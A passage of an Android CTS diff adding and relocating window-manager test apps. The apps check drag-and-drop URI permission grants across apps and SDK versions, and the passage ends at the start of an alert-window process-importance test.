+                        View.DRAG_FLAG_GLOBAL_PREFIX_URI_PERMISSION);
+        setUpDragSource("grant_read_noprefix", prefixUri,
+                View.DRAG_FLAG_GLOBAL | View.DRAG_FLAG_GLOBAL_URI_READ);
+
+        final Uri fileUri = Uri.fromFile(new File("/sdcard/sample.jpg"));
+
+        setUpDragSource("file_local", fileUri, 0);
+        setUpDragSource("file_global", fileUri, View.DRAG_FLAG_GLOBAL);
+    }
+
+    private void setUpDragSource(String mode, final Uri uri, final int flags) {
+        if (!mode.equals(getIntent().getStringExtra("mode"))) {
+            return;
+        }
+        mTextView = (TextView) findViewById(R.id.drag_source);
+        mTextView.setText(mode);
+        mTextView.setOnTouchListener(new View.OnTouchListener() {
+            @Override
+            public boolean onTouch(View v, MotionEvent event) {
+                if (event.getAction() != MotionEvent.ACTION_DOWN) {
+                    return false;
+                }
+                try {
+                    final ClipDescription clipDescription = new ClipDescription("", new String[] {
+                            ClipDescription.MIMETYPE_TEXT_URILIST });
+                    PersistableBundle extras = new PersistableBundle(1);
+                    extras.putString("extraKey", "extraValue");
+                    clipDescription.setExtras(extras);
+                    final ClipData clipData = new ClipData(clipDescription, new ClipData.Item(uri));
+                    v.startDragAndDrop(
+                            clipData,
+                            new View.DragShadowBuilder(v),
+                            null,
+                            flags);
+                    logResult(RESULT_KEY_START_DRAG, RESULT_OK);
+                } catch (FileUriExposedException e) {
+                    logResult(RESULT_KEY_DETAILS, e.getMessage());
+                    logResult(RESULT_KEY_START_DRAG, RESULT_EXCEPTION);
+                }
+                if (mode.equals("cancel_soon")) {
+                    new Handler().postDelayed(new Runnable() {
+                        @Override
+                        public void run() {
+                            v.cancelDragAndDrop();
+                        }
+                    }, TIMEOUT_CANCEL);
+                }
+                return true;
+            }
+        });
+    }
+
+    private void logResult(String key, String value) {
+        mLogClient.record(key, value);
+        mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
+    }
+}
diff --git a/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java
new file mode 100644
index 0000000..1ec1e58
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceContentProvider.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndsourceapp;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.content.UriMatcher;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class DragSourceContentProvider extends ContentProvider {
+
+    public static final String AUTHORITY = "android.server.wm.dndsource.contentprovider";
+
+    private static final UriMatcher sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
+
+    private static final int URI_DATA = 1;
+
+    static {
+        sMatcher.addURI(AUTHORITY, "data/#", URI_DATA);
+    }
+
+    @Override
+    public boolean onCreate() {
+        return false;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+                        String sortOrder) {
+        switch (sMatcher.match(uri)) {
+            case URI_DATA:
+                return new DragSourceCursor(uri.getLastPathSegment());
+        }
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java
new file mode 100644
index 0000000..468842f
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndsourceapp/src/android/server/wm/dndsourceapp/DragSourceCursor.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndsourceapp;
+
+import android.database.AbstractCursor;
+
+public class DragSourceCursor extends AbstractCursor {
+    private static final String COLUMN_KEY = "key";
+
+    private final String mValue;
+
+    public DragSourceCursor(String value) {
+        mValue = value;
+    }
+
+    @Override
+    public int getCount() {
+        return 1;
+    }
+
+    @Override
+    public String[] getColumnNames() {
+        return new String[] {COLUMN_KEY};
+    }
+
+    @Override
+    public String getString(int column) {
+        if (getPosition() != 0) {
+            throw new IllegalArgumentException("Incorrect position: " + getPosition());
+        }
+        if (column != 0) {
+            throw new IllegalArgumentException("Incorrect column: " + column);
+        }
+        return mValue;
+    }
+
+    @Override
+    public short getShort(int column) {
+        return 0;
+    }
+
+    @Override
+    public int getInt(int column) {
+        return 0;
+    }
+
+    @Override
+    public long getLong(int column) {
+        return 0;
+    }
+
+    @Override
+    public float getFloat(int column) {
+        return 0;
+    }
+
+    @Override
+    public double getDouble(int column) {
+        return 0;
+    }
+
+    @Override
+    public boolean isNull(int column) {
+        return false;
+    }
+}
diff --git a/tests/framework/base/windowmanager/dndtargetapp/Android.mk b/tests/framework/base/windowmanager/dndtargetapp/Android.mk
new file mode 100644
index 0000000..d291df4
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    ../src/android/server/wm/TestLogClient.java
+
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
new file mode 100644
index 0000000..33c7a0f
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.server.wm.dndtargetapp">
+    <application android:label="CtsDnDTarget">
+        <activity android:name="android.server.wm.dndtargetapp.DropTarget">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml b/tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/res/layout/target_activity.xml
rename to tests/framework/base/windowmanager/dndtargetapp/res/layout/target_activity.xml
diff --git a/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
new file mode 100644
index 0000000..0500ef4
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetapp/src/android/server/wm/dndtargetapp/DropTarget.java
@@ -0,0 +1,309 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndtargetapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.server.wm.TestLogClient;
+import android.view.DragAndDropPermissions;
+import android.view.DragEvent;
+import android.view.View;
+import android.widget.TextView;
+
+public class DropTarget extends Activity {
+    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+    private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
+    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
+    private static final String RESULT_KEY_DROP_RESULT = "DROP";
+    private static final String RESULT_KEY_DETAILS = "DETAILS";
+    private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
+    private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
+    private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
+    private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
+    private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
+
+    public static final String RESULT_OK = "OK";
+    public static final String RESULT_EXCEPTION = "Exception";
+    public static final String RESULT_MISSING = "MISSING";
+    public static final String RESULT_LEAKING = "LEAKING";
+
+    protected static final String MAGIC_VALUE = "42";
+
+    private TextView mTextView;
+    private TestLogClient mLogClient;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+
+        View view = getLayoutInflater().inflate(R.layout.target_activity, null);
+        setContentView(view);
+
+        setUpDropTarget("request_none", new OnDragUriReadListener(false));
+        setUpDropTarget("request_read", new OnDragUriReadListener());
+        setUpDropTarget("request_write", new OnDragUriWriteListener());
+        setUpDropTarget("request_read_nested", new OnDragUriReadPrefixListener());
+        setUpDropTarget("request_take_persistable", new OnDragUriTakePersistableListener());
+    }
+
+    private void setUpDropTarget(String mode, OnDragUriListener listener) {
+        if (!mode.equals(getIntent().getStringExtra("mode"))) {
+            return;
+        }
+        mTextView = (TextView)findViewById(R.id.drag_target);
+        mTextView.setText(mode);
+        mTextView.setOnDragListener(listener);
+    }
+
+    private String checkExtraValue(DragEvent event) {
+        PersistableBundle extras = event.getClipDescription().getExtras();
+        if (extras == null) {
+            return "Null";
+        }
+
+        final String value = extras.getString("extraKey");
+        if ("extraValue".equals(value)) {
+            return RESULT_OK;
+        }
+        return value;
+    }
+
+    private void logResult(String key, String value) {
+        mLogClient.record(key, value);
+        mTextView.setText(mTextView.getText() + "\n" + key + "=" + value);
+    }
+
+    private abstract class OnDragUriListener implements View.OnDragListener {
+        private final boolean requestPermissions;
+
+        public OnDragUriListener(boolean requestPermissions) {
+            this.requestPermissions = requestPermissions;
+        }
+
+        @Override
+        public boolean onDrag(View v, DragEvent event) {
+            checkDragEvent(event);
+
+            switch (event.getAction()) {
+                case DragEvent.ACTION_DRAG_STARTED:
+                    logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
+                    logResult(RESULT_KEY_EXTRAS, checkExtraValue(event));
+                    return true;
+
+                case DragEvent.ACTION_DRAG_ENTERED:
+                    return true;
+
+                case DragEvent.ACTION_DRAG_LOCATION:
+                    return true;
+
+                case DragEvent.ACTION_DRAG_EXITED:
+                    return true;
+
+                case DragEvent.ACTION_DROP:
+                    // Try accessing the Uri without the permissions grant.
+                    accessContent(event, RESULT_KEY_ACCESS_BEFORE, false);
+
+                    // Try accessing the Uri with the permission grant (if required);
+                    accessContent(event, RESULT_KEY_DROP_RESULT, requestPermissions);
+
+                    // Try accessing the Uri after the permissions have been released.
+                    accessContent(event, RESULT_KEY_ACCESS_AFTER, false);
+                    return true;
+
+                case DragEvent.ACTION_DRAG_ENDED:
+                    logResult(RESULT_KEY_DRAG_ENDED, RESULT_OK);
+                    return true;
+
+                default:
+                    return false;
+            }
+        }
+
+        private void accessContent(DragEvent event, String resultKey, boolean requestPermissions) {
+            String result;
+            try {
+                result = processDrop(event, requestPermissions);
+            } catch (SecurityException e) {
+                result = RESULT_EXCEPTION;
+                if (resultKey.equals(RESULT_KEY_DROP_RESULT)) {
+                    logResult(RESULT_KEY_DETAILS, e.getMessage());
+                }
+            }
+            logResult(resultKey, result);
+        }
+
+        private String processDrop(DragEvent event, boolean requestPermissions) {
+            final ClipData clipData = event.getClipData();
+            if (clipData == null) {
+                return "Null ClipData";
+            }
+            if (clipData.getItemCount() == 0) {
+                return "Empty ClipData";
+            }
+            ClipData.Item item = clipData.getItemAt(0);
+            if (item == null) {
+                return "Null ClipData.Item";
+            }
+            Uri uri = item.getUri();
+            if (uri == null) {
+                return "Null Uri";
+            }
+
+            DragAndDropPermissions permissions = null;
+            if (requestPermissions) {
+                permissions = requestDragAndDropPermissions(event);
+                if (permissions == null) {
+                    return "Null DragAndDropPermissions";
+                }
+            }
+
+            try {
+                return processUri(uri);
+            } finally {
+                if (permissions != null) {
+                    permissions.release();
+                }
+            }
+        }
+
+        abstract protected String processUri(Uri uri);
+    }
+
+    private void checkDragEvent(DragEvent event) {
+        final int action = event.getAction();
+
+        // ClipData should be available for ACTION_DROP only.
+        final ClipData clipData = event.getClipData();
+        if (action == DragEvent.ACTION_DROP) {
+            if (clipData == null) {
+                logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
+            }
+        } else {
+            if (clipData != null) {
+                logResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_LEAKING + action);
+            }
+        }
+
+        // ClipDescription should be always available except for ACTION_DRAG_ENDED.
+        final ClipDescription clipDescription = event.getClipDescription();
+        if (action != DragEvent.ACTION_DRAG_ENDED) {
+            if (clipDescription == null) {
+                logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING + action);
+            }
+        } else {
+            if (clipDescription != null) {
+                logResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_LEAKING);
+            }
+        }
+
+        // Local state should be always null for cross-app drags.
+        final Object localState = event.getLocalState();
+        if (localState != null) {
+            logResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_LEAKING + action);
+        }
+    }
+
+    private class OnDragUriReadListener extends OnDragUriListener {
+        OnDragUriReadListener(boolean requestPermissions) {
+            super(requestPermissions);
+        }
+
+        OnDragUriReadListener() {
+            super(true);
+        }
+
+        protected String processUri(Uri uri) {
+            return checkQueryResult(uri, MAGIC_VALUE);
+        }
+
+        protected String checkQueryResult(Uri uri, String expectedValue) {
+            Cursor cursor = null;
+            try {
+                cursor = getContentResolver().query(uri, null, null, null, null);
+                if (cursor == null) {
+                    return "Null Cursor";
+                }
+                cursor.moveToPosition(0);
+                String value = cursor.getString(0);
+                if (!expectedValue.equals(value)) {
+                    return "Wrong value: " + value;
+                }
+                return RESULT_OK;
+            } finally {
+                if (cursor != null) {
+                    cursor.close();
+                }
+            }
+        }
+    }
+
+    private class OnDragUriWriteListener extends OnDragUriListener {
+        OnDragUriWriteListener() {
+            super(true);
+        }
+
+        protected String processUri(Uri uri) {
+            ContentValues values = new ContentValues();
+            values.put("key", 100);
+            getContentResolver().update(uri, values, null, null);
+            return RESULT_OK;
+        }
+    }
+
+    private class OnDragUriReadPrefixListener extends OnDragUriReadListener {
+        @Override
+        protected String processUri(Uri uri) {
+            final String result1 = queryPrefixed(uri, "1");
+            if (!result1.equals(RESULT_OK)) {
+                return result1;
+            }
+            final String result2 = queryPrefixed(uri, "2");
+            if (!result2.equals(RESULT_OK)) {
+                return result2;
+            }
+            return queryPrefixed(uri, "3");
+        }
+
+        private String queryPrefixed(Uri uri, String selector) {
+            final Uri prefixedUri = Uri.parse(uri.toString() + "/" + selector);
+            return checkQueryResult(prefixedUri, selector);
+        }
+    }
+
+    private class OnDragUriTakePersistableListener extends OnDragUriListener {
+        OnDragUriTakePersistableListener() {
+            super(true);
+        }
+
+        @Override
+        protected String processUri(Uri uri) {
+            getContentResolver().takePersistableUriPermission(
+                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
+            getContentResolver().releasePersistableUriPermission(
+                    uri, View.DRAG_FLAG_GLOBAL_URI_READ);
+            return RESULT_OK;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
new file mode 100644
index 0000000..59f4ab1
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    ../src/android/server/wm/TestLogClient.java
+
+LOCAL_SDK_VERSION := 23
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
new file mode 100644
index 0000000..d10a548
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.server.wm.dndtargetappsdk23">
+    <application android:label="CtsDnDTarget">
+        <activity android:name="android.server.wm.dndtargetappsdk23.DropTarget">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml b/tests/framework/base/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
rename to tests/framework/base/windowmanager/dndtargetappsdk23/res/layout/target_activity.xml
diff --git a/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java b/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java
new file mode 100644
index 0000000..93a8659
--- /dev/null
+++ b/tests/framework/base/windowmanager/dndtargetappsdk23/src/android/server/wm/dndtargetappsdk23/DropTarget.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.dndtargetappsdk23;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.server.wm.TestLogClient;
+import android.view.DragEvent;
+import android.view.View;
+import android.widget.TextView;
+
+/**
+ * This application is compiled against SDK 23 and used to verify that apps targeting SDK 23 and
+ * below do not receive global drags.
+ */
+public class DropTarget extends Activity {
+    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
+    private static final String RESULT_KEY_DROP_RESULT = "DROP";
+
+    public static final String RESULT_OK = "OK";
+
+    private TextView mTextView;
+    private TestLogClient mLogClient;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        View view = getLayoutInflater().inflate(R.layout.target_activity, null);
+        setContentView(view);
+
+        mTextView = (TextView) findViewById(R.id.drag_target);
+        mTextView.setOnDragListener(new OnDragListener());
+
+        mLogClient = new TestLogClient(this, getIntent().getStringExtra("logtag"));
+    }
+
+    private void logResult(String key, String value) {
+        mLogClient.record(key, value);
+        mTextView.setText(key + "=" + value);
+    }
+
+    private class OnDragListener implements View.OnDragListener {
+        @Override
+        public boolean onDrag(View v, DragEvent event) {
+            switch (event.getAction()) {
+                case DragEvent.ACTION_DRAG_STARTED:
+                    logResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
+                    return true;
+
+                case DragEvent.ACTION_DRAG_ENTERED:
+                    return true;
+
+                case DragEvent.ACTION_DRAG_LOCATION:
+                    return true;
+
+                case DragEvent.ACTION_DRAG_EXITED:
+                    return true;
+
+                case DragEvent.ACTION_DROP:
+                    logResult(RESULT_KEY_DROP_RESULT, RESULT_OK);
+                    return true;
+
+                case DragEvent.ACTION_DRAG_ENDED:
+                    return true;
+
+                default:
+                    return false;
+            }
+        }
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/tests/framework/base/windowmanager/frametestapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
rename to tests/framework/base/windowmanager/frametestapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml b/tests/framework/base/windowmanager/frametestapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/AndroidManifest.xml
rename to tests/framework/base/windowmanager/frametestapp/AndroidManifest.xml
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java b/tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/DialogTestActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/DialogTestActivity.java
rename to tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/DialogTestActivity.java
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java b/tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/MovingChildTestActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/src/android/server/frametestapp/MovingChildTestActivity.java
rename to tests/framework/base/windowmanager/frametestapp/src/android/server/wm/frametestapp/MovingChildTestActivity.java
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
new file mode 100644
index 0000000..574f25b
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
@@ -0,0 +1,243 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE;
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE_PRE_26;
+import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
+import static android.content.Context.BIND_ALLOW_OOM_MANAGEMENT;
+import static android.content.Context.BIND_AUTO_CREATE;
+import static android.content.Context.BIND_NOT_FOREGROUND;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.ActivityManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.alertwindowservice.AlertWindowService;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.function.ToIntFunction;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.AlertWindowsImportanceTests
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public final class AlertWindowsImportanceTests {
+
+    private static final String TAG = "AlertWindowsTests";
+
+    private static final boolean DEBUG = false;
+    private static final long WAIT_TIME_MS = 2 * 1000;
+
+    private static final String SDK25_PACKAGE_NAME = "android.server.wm.alertwindowappsdk25";
+
+    private Messenger mService;
+    private String mServicePackageName;
+
+    private ActivityManager mAm;
+    private ActivityManager mAm25; // ActivityManager created for an SDK 25 app context.
+
+    private final Messenger mMessenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));
+    private final Object mAddedLock = new Object();
+    private final Object mRemoveLock = new Object();
+
+    @Before
+    public void setUp() throws Exception {
+        if (DEBUG) Log.e(TAG, "setUp");
+        final Context context = InstrumentationRegistry.getTargetContext();
+
+        mAm = context.getSystemService(ActivityManager.class);
+        mAm25 = context.createPackageContext(SDK25_PACKAGE_NAME, 0)
+                .getSystemService(ActivityManager.class);
+
+        final Intent intent = new Intent()
+                .setClassName(AlertWindowService.PACKAGE_NAME, AlertWindowService.class.getName())
+                .putExtra(AlertWindowService.EXTRA_MESSENGER, mMessenger);
+        // Needs to be both BIND_NOT_FOREGROUND and BIND_ALLOW_OOM_MANAGEMENT to avoid the binding
+        // to this instrumentation test from increasing its importance.
+        context.bindService(intent, mConnection,
+                BIND_AUTO_CREATE | BIND_NOT_FOREGROUND | BIND_ALLOW_OOM_MANAGEMENT);
+        synchronized (mConnection) {
+            // Wait for alert window service to be connection before processing.
+            mConnection.wait(WAIT_TIME_MS);
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (DEBUG) Log.e(TAG, "tearDown");
+        if (mService != null) {
+            mService.send(Message.obtain(null, AlertWindowService.MSG_REMOVE_ALL_ALERT_WINDOWS));
+        }
+        final Context context = InstrumentationRegistry.getTargetContext();
+        context.unbindService(mConnection);
+        mAm = null;
+        mAm25 = null;
+    }
+
+    @Test
+    public void testAlertWindowOomAdj() throws Exception {
+        setAlertWindowPermission(true /* allow */);
+
+        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+        // TODO AM.getUidImportance() sometimes return a different value from what
+        // getPackageImportance() returns... b/37950472
+        // assertUidImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
+
+        addAlertWindow();
+        // Process importance should be increased to visible when the service has an alert window.
